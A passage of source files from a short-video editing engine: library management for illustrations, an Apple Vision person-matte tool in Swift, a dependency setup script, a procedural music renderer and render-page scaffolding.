  const name = path.basename(src, '.swift'), h = hash(src), pre = path.join(path.dirname(src), 'bin', 'darwin', name);
  const preHash = exists(pre + '.hash') ? fs.readFileSync(pre + '.hash', 'utf8').trim() : null;
  if (exists(pre) && preHash === h) return { cmd: pre, id: h };
  const out = path.join(CACHE, `${name}-${h}`);
  if (exists(out)) return { cmd: out, id: h };
  if (hasSwiftc()) {
    fs.mkdirSync(CACHE, { recursive: true }); console.error(`compiling ${name}.swift (once)`);
    execFileSync('xcrun', ['swiftc', '-O', src, '-o', out + '.tmp'], { stdio: ['ignore', 'ignore', 'inherit'] }); fs.renameSync(out + '.tmp', out);
    return { cmd: out, id: h };
  }
  return exists(pre) ? { cmd: pre, id: preHash || h } : null;
}

// faces: `<cmd> <camDir> <out.json>`, matte: `<cmd> <camDir> <outDir> <jobFile>` (same contract on both paths)
export function visionTool(name) {
  const force = process.env.SHORT_EDITING_VISION === 'web';
  const apple = !force && swiftTool(path.join(ENGINE, `${name}.swift`));
  if (apple) return { cmd: apple.cmd, args: [], id: apple.id, web: false };
  return { cmd: process.execPath, args: [path.join(ENGINE, 'vision-web.mjs'), name], id: 'web1', web: true };
}

// The codex CLI as a spawnable command: on Windows npm installs a .cmd shim that spawn() cannot run without a shell,
// so run its JS entry with this node instead (no shell, no quoting of the prompt)
export function codexCmd() {
  if (!IS_WIN) return ['codex', []];
  const roots = [process.env.APPDATA && path.join(process.env.APPDATA, 'npm'), path.dirname(process.execPath)].filter(Boolean);
  try { roots.push(...execFileSync('where', ['codex'], { stdio: ['ignore', 'pipe', 'ignore'] }).toString().split(/\r?\n/).filter(Boolean).map(f => path.dirname(f))); } catch {}
  for (const r of roots) {
    const js = path.join(r, 'node_modules', '@openai', 'codex', 'bin', 'codex.js');
    if (exists(js)) return [process.execPath, [js]];
  }
  return ['codex', []];
}

{
  "name": "short-editing-engine",
  "private": true,
  "type": "module",
  "dependencies": {
    "@mediapipe/tasks-vision": "^1.0.1",
    "playwright-core": "1.63.0"
  }
}

#!/usr/bin/env node
// Illustration library of a style: every generated illustration lives ONCE in <profile>/styles/<style>/illustrations/library/,
// so any short of that style can reuse it. The engine reads a spec's assets/images/<name>.png there when the project has
// no such file; on macOS/Linux the project also gets a relative symlink (browsable, read by other tools).
//   node library.mjs import <project>...        move the project's assets/images files into its style's library
//                                               (dedup by content; a name taken by another image -> <name>-<slug>),
//                                               link them back, archive the sub-folders (raw renders) in library/raw/<slug>/
//   node library.mjs link <project> <name>[=<as>]...   use library images in a short as assets/images/<as>.<ext>
//   node library.mjs list [query] [--style <name>]     name, uses, prompt (default style of the profile without --style)
// library/index.json (name -> file, prompt, ar, refs, used by) and library/index.html (gallery) are rewritten each time.
import fs from 'node:fs';
import os from 'node:os';
import path from 'node:path';
import crypto from 'node:crypto';

const argv = process.argv.slice(2);
const opt = k => { const i = argv.indexOf(`--${k}`); if (i < 0) return null; const v = argv[i + 1]; argv.splice(i, 2); return v; };
const STYLE_FLAG = opt('style');
const [cmd, ...args] = argv;
const IMG = /\.(png|jpe?g|webp)$/i;
const expand = p => p.replace(/^~/, os.homedir());
const readJSON = f => { try { return JSON.parse(fs.readFileSync(f, 'utf8')); } catch { return null; } };
const sha = f => crypto.createHash('sha1').update(fs.readFileSync(f)).digest('hex').slice(0, 16);
const slugOf = proj => path.basename(proj).replace(/^short-/, '');

// profile (LOCAL only): $SHORT_EDITING_HOME, else the nearest .short-editing/ in the start folder or a parent, home excluded
const HOME = start => expand(process.env.SHORT_EDITING_HOME || (s => { for (let d = s; d !== path.dirname(d); d = path.dirname(d)) if (d !== os.homedir() && fs.existsSync(path.join(d, '.short-editing'))) return path.join(d, '.short-editing'); return path.join(s, '.short-editing'); })(path.resolve(start)));
function styleDir(home, name) {
  const dir = path.join(home, 'styles');
  if (!name) { const d = readJSON(path.join(home, 'style.json'))?.default; if (typeof d === 'string') return path.join(dir, d); throw new Error(`no default style in ${home}/style.json, pass --style <name>`); }
  const low = String(name).toLowerCase();
  const d = fs.existsSync(dir) && fs.readdirSync(dir).map(n => path.join(dir, n)).find(d => path.basename(d).toLowerCase() === low || String(readJSON(path.join(d, 'style.json'))?.name || '').toLowerCase() === low);
  if (!d) throw new Error(`no style "${name}" in ${dir}`);
  return d;
}
const libOf = sdir => { const d = path.join(sdir, 'illustrations/library'); fs.mkdirSync(path.join(d, 'raw'), { recursive: true }); return fs.realpathSync(d); };
const projLib = proj => libOf(styleDir(HOME(proj), STYLE_FLAG || readJSON(path.join(proj, 'source/style.json'))?.name));

const load = lib => readJSON(path.join(lib, 'index.json'))?.items || {};
function save(lib, items) {
  const sorted = Object.fromEntries(Object.entries(items).sort(([a], [b]) => a.localeCompare(b)));
  fs.writeFileSync(path.join(lib, 'index.json'), JSON.stringify({ about: 'Illustrations of this style. name -> file, sha, prompt, ar, refs, used: [<short>/<name in the short>]. Written by short-editing/engine/library.mjs.', items: sorted }, null, 1) + '\n');
  const esc = s => String(s).replace(/[&<>"]/g, c => `&#${c.charCodeAt(0)};`);
  const card = ([n, it]) => `<figure title="${esc(it.prompt || '')}"><img loading="lazy" src="${esc(it.file)}"><figcaption><b>${esc(n)}</b><br>${esc((it.used || []).map(u => u.split('/')[0]).join(', '))}</figcaption></figure>`;
  fs.writeFileSync(path.join(lib, 'index.html'), `<!doctype html><meta charset="utf-8"><title>Illustrations (${Object.keys(sorted).length})</title><style>body{font:13px system-ui;background:#F7F7F5;margin:20px}main{display:grid;grid-template-columns:repeat(auto-fill,minmax(180px,1fr));gap:14px}figure{margin:0;background:#fff;border:1px solid #ddd;padding:8px}img{width:100%;height:170px;object-fit:contain}figcaption{color:#555}b{color:#111}input{font-size:16px;padding:6px;width:300px;margin-bottom:14px}</style><input placeholder="filter" oninput="for(const f of document.querySelectorAll('figure'))f.hidden=!(f.textContent+f.title).toLowerCase().includes(this.value.toLowerCase())"><main>${Object.entries(sorted).map(card).join('')}</main>\n`);
}

// a relative symlink; false where the system refuses it (Windows without developer mode): the engine reads the library then
function linkTo(link, target) {
  fs.rmSync(link, { force: true });
  try { fs.symlinkSync(path.relative(path.dirname(link), target), link); return true; } catch { return false; }
}
// without a symlink, a renamed image is renamed in the spec too
function renameInSpec(proj, from, to) {
  const f = path.join(proj, 'source/spec.js');
  if (from === to || !fs.existsSync(f)) return;
  const s = fs.readFileSync(f, 'utf8'), next = s.split(`assets/images/${from}`).join(`assets/images/${to}`);
  if (next !== s) fs.writeFileSync(f, next);
}

// prompts of a project: files/*prompts*.json (later versions win), then the manifests images.mjs wrote in the image folders
function prompts(proj) {
  const out = {}, put = o => { if (!o?.name) return; for (const k of ['prompt', 'ar', 'refs']) if (o[k]) (out[o.name] ??= {})[k] = o[k]; };
  const files = path.join(proj, 'files'), img = path.join(proj, 'assets/images');
  if (fs.existsSync(files)) for (const f of fs.readdirSync(files).filter(f => /prompts.*\.json$/.test(f)).sort()) [].concat(readJSON(path.join(files, f)) || []).forEach(put);
  const manifests = d => [path.join(d, 'manifest.json'), ...(fs.existsSync(d) ? fs.readdirSync(d, { withFileTypes: true }).filter(e => e.isDirectory()).map(e => path.join(d, e.name, 'manifest.json')) : [])];
  for (const m of manifests(img).filter(fs.existsSync).sort()) (readJSON(m)?.images || []).forEach(put);
  return out;
}

// move src into dst, merging folders (a file already there is replaced)
function moveInto(src, dst) {
  if (fs.lstatSync(src).isDirectory()) { fs.mkdirSync(dst, { recursive: true }); for (const e of fs.readdirSync(src)) moveInto(path.join(src, e), path.join(dst, e)); fs.rmdirSync(src); }
  else { fs.rmSync(dst, { force: true }); fs.renameSync(src, dst); }
}

function importProject(proj) {
  proj = path.resolve(expand(proj));
  const lib = projLib(proj), items = load(lib), slug = slugOf(proj), img = path.join(proj, 'assets/images'), P = prompts(proj), bySha = {};
  if (!fs.existsSync(img)) { console.log(`${slug}: no assets/images`); return; }
  for (const [n, it] of Object.entries(items)) bySha[it.sha] = n;
  let added = 0, known = 0;
  for (const f of fs.readdirSync(img)) {
    const src = path.join(img, f), st = fs.lstatSync(src);
    if (st.isDirectory()) { moveInto(src, path.join(lib, 'raw', slug, f)); continue; }
    if (st.isSymbolicLink() || !IMG.test(f)) continue;
    const h = sha(src), as = f.replace(IMG, ''), ext = path.extname(f);
    let name = bySha[h];
    if (name) { known++; fs.rmSync(src); }
    else {
      name = as;
      for (let i = 2; items[name] || fs.existsSync(path.join(lib, name + ext)); i++) name = i === 2 ? `${as}-${slug}` : `${as}-${slug}-${i}`;
      fs.renameSync(src, path.join(lib, name + ext));
      items[name] = { file: name + ext, sha: h, from: slug, created: st.mtime.toISOString().slice(0, 10), ...P[as], used: [] };
      bySha[h] = name; added++;
    }
    const file = items[name].file;
    if (!linkTo(src, path.join(lib, file))) renameInSpec(proj, f, file);
    items[name].used = [...new Set([...(items[name].used || []), `${slug}/${as}`])];
  }
  save(lib, items);
  console.log(`${slug}: ${added} added, ${known} already there -> ${lib} (${Object.keys(items).length} illustrations)`);
}

function link(proj, specs) {
  proj = path.resolve(expand(proj));
  const lib = projLib(proj), items = load(lib), slug = slugOf(proj), img = path.join(proj, 'assets/images');
  fs.mkdirSync(img, { recursive: true });
  for (const s of specs) {
    const [name, as = name] = s.split('='), it = items[name];
    if (!it) { console.error(`not in the library: ${name}`); process.exitCode = 1; continue; }
    const ext = path.extname(it.file), ok = linkTo(path.join(img, as + ext), path.join(lib, it.file));
    if (!ok && as !== name) { console.error(`${as}: no symlink on this system, use assets/images/${it.file} in the spec`); process.exitCode = 1; continue; }
    it.used = [...new Set([...(it.used || []), `${slug}/${as}`])];
    console.log(`${slug}: assets/images/${as}${ext}${ok ? ` -> ${it.file}` : ' (read from the library by the engine)'}`);
  }
  save(lib, items);
}

if (cmd === 'import' && args.length) args.forEach(importProject);
else if (cmd === 'link' && args.length > 1) link(args[0], args.slice(1));
else if (cmd === 'list') {
  const lib = libOf(styleDir(HOME(process.cwd()), STYLE_FLAG)), q = (args[0] || '').toLowerCase(), items = load(lib);
  for (const [n, it] of Object.entries(items)) if (!q || `${n} ${it.prompt || ''}`.toLowerCase().includes(q)) console.log(`${n.padEnd(28)} ${String((it.used || []).length).padStart(2)}x  ${(it.prompt || '').slice(0, 110)}`);
  console.log(`${Object.keys(items).length} illustrations, gallery: ${path.join(lib, 'index.html')}`);
}
else { console.error('usage: library.mjs import <project>... | link <project> <name>[=<as>]... | list [query]   [--style <name>]'); process.exit(1); }

// Person matte for the camera frames, with Apple Vision (no model download, runs on the Neural Engine).
//   swiftc -O matte.swift -o matte      (short.mjs compiles and caches it)
//   matte <camDir> <outDir> <jobFile>   job lines: "<frame> <rawMaskPath> <write 0|1>", consecutive frames
// Two stages per frame:
//   1. raw mask: Vision person segmentation (~34 ms, the bottleneck), resized to the cam frame on the CPU (vImage;
//      Core Image cost more than Vision itself). Cached as a gray PNG at rawMaskPath, keyed by the cam JPG content,
//      so a new `cut` only runs Vision on frames it has never seen.
//   2. output (~5 ms): temporal EMA (40% previous, so hair and shoulder edges do not flicker), 5x5 gaussian (sigma
//      ~1.2, a soft clean edge), written as <outDir>/%05d.png gray+alpha (alpha = person). The runtime composites it
//      over the cam JPG. Lines with write 0 only prime the EMA, so parallel slices join without a seam.
// MATTE_QUALITY=balanced is ~2x faster on Vision, coarser edges.
import Foundation
import Vision
import Accelerate
import ImageIO
import UniformTypeIdentifiers

let a = CommandLine.arguments
guard a.count == 4, let job = try? String(contentsOfFile: a[3], encoding: .utf8) else {
  print("usage: matte <camDir> <outDir> <jobFile>"); exit(1)
}
let camDir = URL(fileURLWithPath: a[1]), outDir = URL(fileURLWithPath: a[2])
try? FileManager.default.createDirectory(at: outDir, withIntermediateDirectories: true)
let req = VNGeneratePersonSegmentationRequest()
req.qualityLevel = ProcessInfo.processInfo.environment["MATTE_QUALITY"] == "balanced" ? .balanced : .accurate
req.outputPixelFormat = kCVPixelFormatType_OneComponent8
let gray = CGColorSpaceCreateDeviceGray()
let g: [Float] = [0.0398, 0.2420, 0.4364, 0.2420, 0.0398]
let kernel: [Int16] = g.flatMap { y in g.map { x in Int16((x * y * 4096).rounded()) } }
let kDiv = Int32(kernel.reduce(0) { $0 + Int32($1) })

func writePNG(_ bytes: [UInt8], _ w: Int, _ h: Int, alpha: Bool, to url: URL) {
  let bpp = alpha ? 2 : 1
  let img = CGImage(width: w, height: h, bitsPerComponent: 8, bitsPerPixel: 8 * bpp, bytesPerRow: w * bpp, space: gray,
                    bitmapInfo: CGBitmapInfo(rawValue: (alpha ? CGImageAlphaInfo.last : .none).rawValue),
                    provider: CGDataProvider(data: CFDataCreate(nil, bytes, bytes.count))!, decode: nil, shouldInterpolate: false, intent: .defaultIntent)!
  let tmp = url.appendingPathExtension("tmp")
  guard let dest = CGImageDestinationCreateWithURL(tmp as CFURL, UTType.png.identifier as CFString, 1, nil) else { print("cannot write \(url.path)"); exit(1) }
  CGImageDestinationAddImage(dest, img, nil); CGImageDestinationFinalize(dest)
  _ = try? FileManager.default.removeItem(at: url); try! FileManager.default.moveItem(at: tmp, to: url)
}

// raw mask (W*H bytes) for one cam frame: from the cache, or Vision + resize, then cached
func rawMask(_ cam: URL, _ cache: URL, _ W: inout Int, _ H: inout Int) -> [UInt8]? {
  if let s = CGImageSourceCreateWithURL(cache as CFURL, nil), let im = CGImageSourceCreateImageAtIndex(s, 0, nil) {
    W = im.width; H = im.height
    var out = [UInt8](repeating: 0, count: W * H)
    let c = CGContext(data: &out, width: W, height: H, bitsPerComponent: 8, bytesPerRow: W, space: gray, bitmapInfo: CGImageAlphaInfo.none.rawValue)!
    c.draw(im, in: CGRect(x: 0, y: 0, width: W, height: H)); return out
  }
  guard let s = CGImageSourceCreateWithURL(cam as CFURL, nil), let img = CGImageSourceCreateImageAtIndex(s, 0, nil) else { return nil }
  W = img.width; H = img.height
  guard (try? VNImageRequestHandler(cgImage: img, options: [:]).perform([req])) != nil, let buf = req.results?.first?.pixelBuffer else { return nil }
  var out = [UInt8](repeating: 0, count: W * H)
  CVPixelBufferLockBaseAddress(buf, .readOnly)
  var src = vImage_Buffer(data: CVPixelBufferGetBaseAddress(buf), height: vImagePixelCount(CVPixelBufferGetHeight(buf)),
                          width: vImagePixelCount(CVPixelBufferGetWidth(buf)), rowBytes: CVPixelBufferGetBytesPerRow(buf))
  out.withUnsafeMutableBytes { p in
    var dst = vImage_Buffer(data: p.baseAddress, height: vImagePixelCount(H), width: vImagePixelCount(W), rowBytes: W)
    _ = vImageScale_Planar8(&src, &dst, nil, vImage_Flags(kvImageHighQualityResampling))
  }
  CVPixelBufferUnlockBaseAddress(buf, .readOnly)
  writePNG(out, W, H, alpha: false, to: cache)
  return out
}

var W = 0, H = 0, prevFrame = -2, written = 0
var ema: [Float] = [], cur: [Float] = [], u8: [UInt8] = [], soft: [UInt8] = [], ga: [UInt8] = []
for line in job.split(separator: "\n") {
  let f = line.split(separator: " ", maxSplits: 2)
  guard f.count == 3, let i = Int(f[0]) else { continue }
  let name = String(format: "%05d", i)
  guard let raw = rawMask(camDir.appendingPathComponent(name + ".jpg"), URL(fileURLWithPath: String(f[1])), &W, &H) else { print("no mask \(name)"); exit(1) }
  if ema.count != W * H { ema = [Float](repeating: 0, count: W * H); cur = ema; u8 = [UInt8](repeating: 0, count: W * H); soft = u8; ga = [UInt8](repeating: 0, count: 2 * W * H) }
  vDSP_vfltu8(raw, 1, &cur, 1, vDSP_Length(W * H))
  if i != prevFrame + 1 { ema = cur } else { var k: Float = 0.6; vDSP_vintb(ema, 1, cur, 1, &k, &ema, 1, vDSP_Length(W * H)) }
  prevFrame = i
  if f[2] != "1" { continue }
  vDSP_vfixu8(ema, 1, &u8, 1, vDSP_Length(W * H))
  u8.withUnsafeMutableBytes { ps in soft.withUnsafeMutableBytes { pd in
    var s = vImage_Buffer(data: ps.baseAddress, height: vImagePixelCount(H), width: vImagePixelCount(W), rowBytes: W)
    var d = vImage_Buffer(data: pd.baseAddress, height: vImagePixelCount(H), width: vImagePixelCount(W), rowBytes: W)
    _ = vImageConvolve_Planar8(&s, &d, nil, 0, 0, kernel, 5, 5, kDiv, 0, vImage_Flags(kvImageEdgeExtend))
  } }
  for j in 0..<(W * H) { ga[2 * j + 1] = soft[j] }   // gray 0, alpha = mask
  writePNG(ga, W, H, alpha: true, to: outDir.appendingPathComponent(name + ".png"))
  written += 1
  if written % 10 == 0 { print("matte \(written)"); fflush(stdout) }
}
print("matte done")

#!/usr/bin/env node
// One-time install of the render engine, macOS, Windows and Linux. Safe to run again: it only does what is missing.
//   node <skill>/engine/setup.mjs            install what is missing
//   node <skill>/engine/setup.mjs --check    report only, change nothing (exit 1 when something is missing)
// 1. Node 20+ and ffmpeg (never installed here: the command to run is printed)
// 2. the engine packages (npm install in engine/, about 15 MB)
// 3. a Chromium for the render: Chrome, Edge, Brave or Chromium already installed, else a headless shell in <skill>/.runtime
// 4. whisper.cpp (Homebrew on macOS, the official release on Windows) and its speech model (about 0.5 GB, once)
// 5. the 8 music beds (generated by code, assets/music/*.mp3) and the Noto icons (assets/icons/*.png)
import fs from 'node:fs';
import path from 'node:path';
import { spawnSync } from 'node:child_process';
import { fileURLToPath } from 'node:url';

const ENGINE = path.dirname(fileURLToPath(import.meta.url)), SKILL = path.dirname(ENGINE), RUNTIME = path.join(SKILL, '.runtime');
const CHECK = process.argv.includes('--check');
const IS_WIN = process.platform === 'win32', IS_MAC = process.platform === 'darwin';
const exists = f => { try { return fs.existsSync(f); } catch { return false; } };
const run = (cmd, args, opts = {}) => spawnSync(cmd, args, { stdio: 'inherit', shell: IS_WIN, ...opts });
const ok = (s) => console.log(`ok   ${s}`), todo = (s) => console.log(`todo ${s}`);
let missing = 0;
const t0 = Date.now();

// 1. Node and ffmpeg
const major = +process.versions.node.split('.')[0];
if (major < 20) { console.log(`Node ${process.versions.node} is too old: install Node 20 or newer (https://nodejs.org)`); process.exit(1); }
ok(`node ${process.versions.node}`);
const ffmpegOk = () => spawnSync(process.env.FFMPEG_PATH || 'ffmpeg', ['-version'], { stdio: 'ignore' }).status === 0;
if (!ffmpegOk()) {
  console.log(`ffmpeg is missing. Install it, open a new terminal, then run this again:\n  ${IS_MAC ? 'brew install ffmpeg' : IS_WIN ? 'winget install Gyan.FFmpeg' : 'sudo apt install ffmpeg'}`);
  process.exit(1);
}
ok('ffmpeg');

// 2. engine packages
if (!exists(path.join(ENGINE, 'node_modules', 'playwright-core'))) {
  missing++;
  if (CHECK) todo('engine packages (npm install in engine/)');
  else {
    console.log('installing the engine packages (about 15 MB)...');
    if (run('npm', ['install', '--no-audit', '--no-fund', '--loglevel', 'error'], { cwd: ENGINE }).status) process.exit(1);
    missing--; ok('engine packages');
  }
} else ok('engine packages');

// 3. a Chromium (platform.mjs finds the installed browser, else the headless shell under .runtime/browsers)
const ensureRuntime = () => { fs.mkdirSync(RUNTIME, { recursive: true }); if (!exists(path.join(RUNTIME, 'runtime.json'))) fs.writeFileSync(path.join(RUNTIME, 'runtime.json'), '{}\n'); };
let { CHROME } = await import('./platform.mjs');
if (!exists(CHROME)) {
  missing++;
  if (CHECK) todo('a Chromium for the render (Chrome, Edge, or the headless shell)');
  else {
    console.log('no Chrome found: installing a headless Chromium for the render (about 100 MB)...');
    ensureRuntime();
    const r = run('npx', ['playwright-core', 'install', 'chromium-headless-shell'], { cwd: ENGINE, env: { ...process.env, PLAYWRIGHT_BROWSERS_PATH: path.join(RUNTIME, 'browsers') } });
    if (r.status) process.exit(1);
    ({ CHROME } = await import(`./platform.mjs?again=${Date.now()}`));
    if (!exists(CHROME)) { console.log('the headless Chromium did not install: install Google Chrome, then run this again'); process.exit(1); }
    missing--; ok(`chromium: ${CHROME}`);
  }
} else ok(`chromium: ${CHROME}`);

// 4. whisper.cpp and its model
const W = await import('./whisper.mjs');
if (!W.findWhisper()) {
  missing++;
  if (CHECK) todo('whisper.cpp (local transcription)');
  else if (IS_MAC) {
    if (spawnSync('brew', ['--version'], { stdio: 'ignore' }).status) { console.log('whisper.cpp needs Homebrew (https://brew.sh), then: brew install whisper-cpp'); process.exit(1); }
    console.log('installing whisper.cpp with Homebrew...');
    if (run('brew', ['install', 'whisper-cpp']).status) process.exit(1);
    missing--;
  } else if (IS_WIN) {
    console.log('downloading whisper.cpp for Windows (official release)...');
    ensureRuntime();
    const dir = path.join(RUNTIME, 'whisper'), zip = path.join(RUNTIME, 'whisper-bin-x64.zip');
    fs.mkdirSync(dir, { recursive: true });
    const r = await fetch('https://github.com/ggml-org/whisper.cpp/releases/latest/download/whisper-bin-x64.zip');
    if (!r.ok) { console.log(`download failed (HTTP ${r.status}): get whisper-bin-x64.zip from https://github.com/ggml-org/whisper.cpp/releases and unzip it into ${dir}`); process.exit(1); }
    fs.writeFileSync(zip, Buffer.from(await r.arrayBuffer()));
    if (spawnSync('tar', ['-xf', zip, '-C', dir], { stdio: 'inherit' }).status) process.exit(1);
    fs.unlinkSync(zip);
    missing--;
  } else { console.log('whisper.cpp: build it (https://github.com/ggml-org/whisper.cpp) and put whisper-cli on the PATH, or set WHISPER_CLI'); process.exit(1); }
  if (!CHECK) { if (!W.findWhisper()) { console.log('whisper-cli still not found: open a new terminal and run this again'); process.exit(1); } ok(`whisper.cpp: ${W.findWhisper()}`); }
} else ok(`whisper.cpp: ${W.findWhisper()}`);
if (!exists(W.modelPath())) {
  missing++;
  if (CHECK) todo(`speech model ${path.basename(W.modelPath())} (about 0.5 GB)`);
  else { await W.ensureModel(); missing--; ok(`speech model ${path.basename(W.modelPath())}`); }
} else ok(`speech model ${path.basename(W.modelPath())}`);

// 5. music beds and icons, both generated on this computer
const env = { ...process.env, CHROME_PATH: process.env.CHROME_PATH || CHROME };
const beds = JSON.parse(fs.readFileSync(path.join(SKILL, 'assets/music/tracks.json'), 'utf8'));
const ids = (Array.isArray(beds) ? beds : beds.tracks || []).map(t => t.id).filter(Boolean);
const noBed = ids.filter(id => !exists(path.join(SKILL, 'assets/music', `${id}.mp3`)));
if (noBed.length) {
  missing++;
  if (CHECK) todo(`music beds (${noBed.length} to generate)`);
  else {
    console.log(`generating ${noBed.length} music beds (code, no download, about a minute)...`);
    if (run(process.execPath, [path.join(ENGINE, 'music.mjs')], { cwd: ENGINE, shell: false }).status) process.exit(1);
    missing--; ok('music beds');
  }
} else ok(`music beds (${ids.length})`);
if (!exists(path.join(SKILL, 'assets/icons/check.png'))) {
  missing++;
  if (CHECK) todo('icons (Google Noto, drawn from assets/icons/svg)');
  else {
    console.log('drawing the icons (Google Noto emoji, about 30 s)...');
    if (run(process.execPath, [path.join(SKILL, 'assets/icons/build-icons.mjs')], { cwd: ENGINE, env, shell: false }).status) process.exit(1);
    missing--; ok('icons');
  }
} else ok('icons');

console.log(missing ? `${missing} thing(s) to install: run node ${path.relative(process.cwd(), fileURLToPath(import.meta.url))}` : `engine ready (${((Date.now() - t0) / 1000).toFixed(0)} s)`);
process.exit(missing ? 1 : 0);

#!/usr/bin/env node
// Render procedural beds (lib/chill.js) to mp3: node music.mjs [style ... | --all] [--out <dir>] [--seed n]
// No style = the shorts library kept by ear (LIBRARY, picking guide in references/music.md), into ../assets/music by default.
// Prints length, loudness and the energy split per band, and keeps <out>/tracks.json (id, name, mood, bpm, desc, dur) in sync.
import fs from 'node:fs'; import path from 'node:path'; import { spawn } from 'node:child_process';
import { render, STYLES } from './lib/chill.js';
import { SR, SVF } from './lib/dsp.js';
import { FFMPEG } from './platform.mjs';

export const LIBRARY = ['enquete', 'arpege', 'filature', 'compte-a-rebours', 'sonar', 'code-noir', 'thriller', 'neon'];

const args = process.argv.slice(2), opt = k => { const i = args.indexOf(k); return i < 0 ? null : args.splice(i, 2)[1]; };
const all = args.includes('--all'); if (all) args.splice(args.indexOf('--all'), 1);
const out = path.resolve((opt('--out') || path.join(import.meta.dirname, '../assets/music')).replace(/^~/, process.env.HOME || process.env.USERPROFILE)), seed = +(opt('--seed') ?? 11);
const ids = all ? Object.keys(STYLES) : args.length ? args : LIBRARY;
for (const id of ids) if (!STYLES[id]) throw new Error(`unknown style ${id}: ${Object.keys(STYLES).join(', ')}`);
fs.mkdirSync(out, { recursive: true });

const encode = (file, L, R) => new Promise((ok, ko) => {
  const p = spawn(FFMPEG, ['-v', 'error', '-y', '-f', 'f32le', '-ar', String(SR), '-ac', '2', '-i', 'pipe:0', '-c:a', 'libmp3lame', '-b:a', '192k', file], { stdio: ['pipe', 'inherit', 'inherit'] });
  p.on('close', c => c ? ko(new Error(`ffmpeg exited ${c}`)) : ok());
  const I = new Float32Array(L.length * 2); for (let i = 0; i < L.length; i++) { I[2 * i] = L[i]; I[2 * i + 1] = R[i]; }
  p.stdin.end(Buffer.from(I.buffer));
});

const bands = (L, R) => { // % of energy below 150, 150-500, 500-2k, 2k-5k, above 5k Hz
  const cuts = [150, 500, 2000, 5000], F = cuts.map(() => new SVF()), E = new Float64Array(5);
  for (let i = 0; i < L.length; i++) {
    let x = (L[i] + R[i]) * .5;
    for (let j = 0; j < 4; j++) { F[j].run(x, cuts[j]); E[j] += F[j].lp * F[j].lp; x = F[j].hp; }
    E[4] += x * x;
  }
  const tot = E.reduce((a, b) => a + b, 0) || 1; return [...E].map(e => Math.round(e / tot * 100));
};

const meta = fs.existsSync(path.join(out, 'tracks.json')) ? Object.fromEntries(JSON.parse(fs.readFileSync(path.join(out, 'tracks.json'), 'utf8')).map(t => [t.id, t])) : {};
for (const id of ids) {
  const t0 = Date.now(), r = render(id, { seed }), ms = Date.now() - t0;
  let pk = 0; for (const X of [r.L, r.R]) for (let i = 0; i < X.length; i++) pk = Math.max(pk, Math.abs(X[i]));
  await encode(path.join(out, `${id}.mp3`), r.L, r.R);
  const st = STYLES[id]; meta[id] = { id, name: st.name, mood: st.mood, bpm: st.bpm, desc: st.desc, dur: +r.T.toFixed(1) };
  console.log(`[music] ${id.padEnd(13)} ${r.T.toFixed(1)}s ${r.bars} bars  ${r.lufs.toFixed(1)} LUFS  peak ${(20 * Math.log10(pk)).toFixed(1)} dB  bands ${bands(r.L, r.R).join('/')}%  ${(ms / 1000).toFixed(1)}s`);
}
fs.writeFileSync(path.join(out, 'tracks.json'), JSON.stringify(Object.keys(STYLES).filter(k => meta[k] && fs.existsSync(path.join(out, `${k}.mp3`))).map(k => meta[k]), null, 2) + '\n');

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<link rel="icon" href="data:,">
<style>
@font-face { font-family: 'Inter'; src: url('fonts/Inter.ttf') format('truetype'); font-weight: 100 900; }
@font-face { font-family: 'JetBrains Mono'; src: url('fonts/JetBrainsMono.ttf') format('truetype'); font-weight: 100 800; }
/* caption and display families (style captions.font, display.font / display.text); variable, opsz follows the size */
@font-face { font-family: 'DM Sans'; src: url('fonts/DMSans.ttf') format('truetype'); font-weight: 100 1000; }
@font-face { font-family: 'Bricolage Grotesque'; src: url('fonts/BricolageGrotesque.ttf') format('truetype'); font-weight: 200 800; font-stretch: 75% 100%; }
@font-face { font-family: 'Poppins'; src: url('fonts/Poppins-SemiBold.ttf') format('truetype'); font-weight: 600; }
@font-face { font-family: 'Archivo'; src: url('fonts/Archivo.ttf') format('truetype'); font-weight: 100 900; font-stretch: 62% 125%; }
@font-face { font-family: 'Archivo Black'; src: url('fonts/ArchivoBlack.ttf') format('truetype'); font-weight: 400; }
@font-face { font-family: 'Bowlby One SC'; src: url('fonts/BowlbyOneSC.ttf') format('truetype'); font-weight: 400; }
@font-face { font-family: 'Geist Pixel'; src: url('fonts/GeistPixel-Square.woff2') format('woff2'); font-weight: 400 900; }
@font-face { font-family: 'Instrument Serif'; src: url('fonts/InstrumentSerif-Regular.ttf') format('truetype'); font-weight: 400; }
@font-face { font-family: 'Instrument Serif'; src: url('fonts/InstrumentSerif-Italic.ttf') format('truetype'); font-weight: 400; font-style: italic; }
/* Apple system fonts for every UI drawn in a captured component (macOS only; elsewhere the stack falls back) */
@font-face { font-family: 'SF Pro'; src: url('file:///System/Library/Fonts/SFNS.ttf'); font-weight: 1 1000; }
@font-face { font-family: 'SF Pro'; src: url('file:///System/Library/Fonts/SFNSItalic.ttf'); font-weight: 1 1000; font-style: italic; }
@font-face { font-family: 'SF Mono'; src: url('file:///System/Library/Fonts/SFNSMono.ttf'); font-weight: 1 1000; }
html, body { margin: 0; background: #F1EEE6; }
canvas { width: 540px; height: 960px; display: block; }
</style>
<script src="/p/source/spec.js"></script>
</head>
<body>
<script type="module">
// format 'youtube' (16:9 long-form: paper left, camera right) has its own runtime; every other format shares runtime.js
const { boot } = await import(window.SPEC?.format === 'youtube' ? './lib/runtime-yt.js' : './lib/runtime.js');
await boot().catch(e => { console.error(e); window.READY_ERROR = String(e && e.stack || e); });
// ?play=1: live preview in a normal tab (short.mjs preview)
if (window.READY && new URLSearchParams(location.search).has('play')) (await import('./lib/player.js')).play();
</script>
</body>
</html>

{
  "version": 1,
  "name": "Paper (default)",
  "pace": { "speed": 1.15, "tighten": { "sentence": 0.08, "comma": 0.05, "word": 0.03, "lead": 0.03, "tail": 0.8 } },
  "captions": { "style": "sticker", "size": 84 },
  "music": { "bpm": 112 },
  "mix": { "music": -28, "sfx": -28.5, "duck": 0.5 }
}

#!/usr/bin/env node
// short-editing engine CLI. Every heavy step runs niced (and optionally on efficiency cores with --eco).
//   node short.mjs init    <project> [--source take.mp4|latest]   new project: folders, starter spec framed on the take, style snapshot
//   node short.mjs words   <project> [lang]     word timestamps: whisper.cpp on this computer (ElevenLabs Scribe when ELEVEN_KEY is set) -> assets/words-scribe.json (lang: profile creator.lang)
//   node short.mjs prepare <project>            tighten silences, splice voice, extract cam + media frames
//   node short.mjs rough   <project>            silences cut, full frame, spliced voice -> output/<slug>-rough.mp4 (studio first pass)
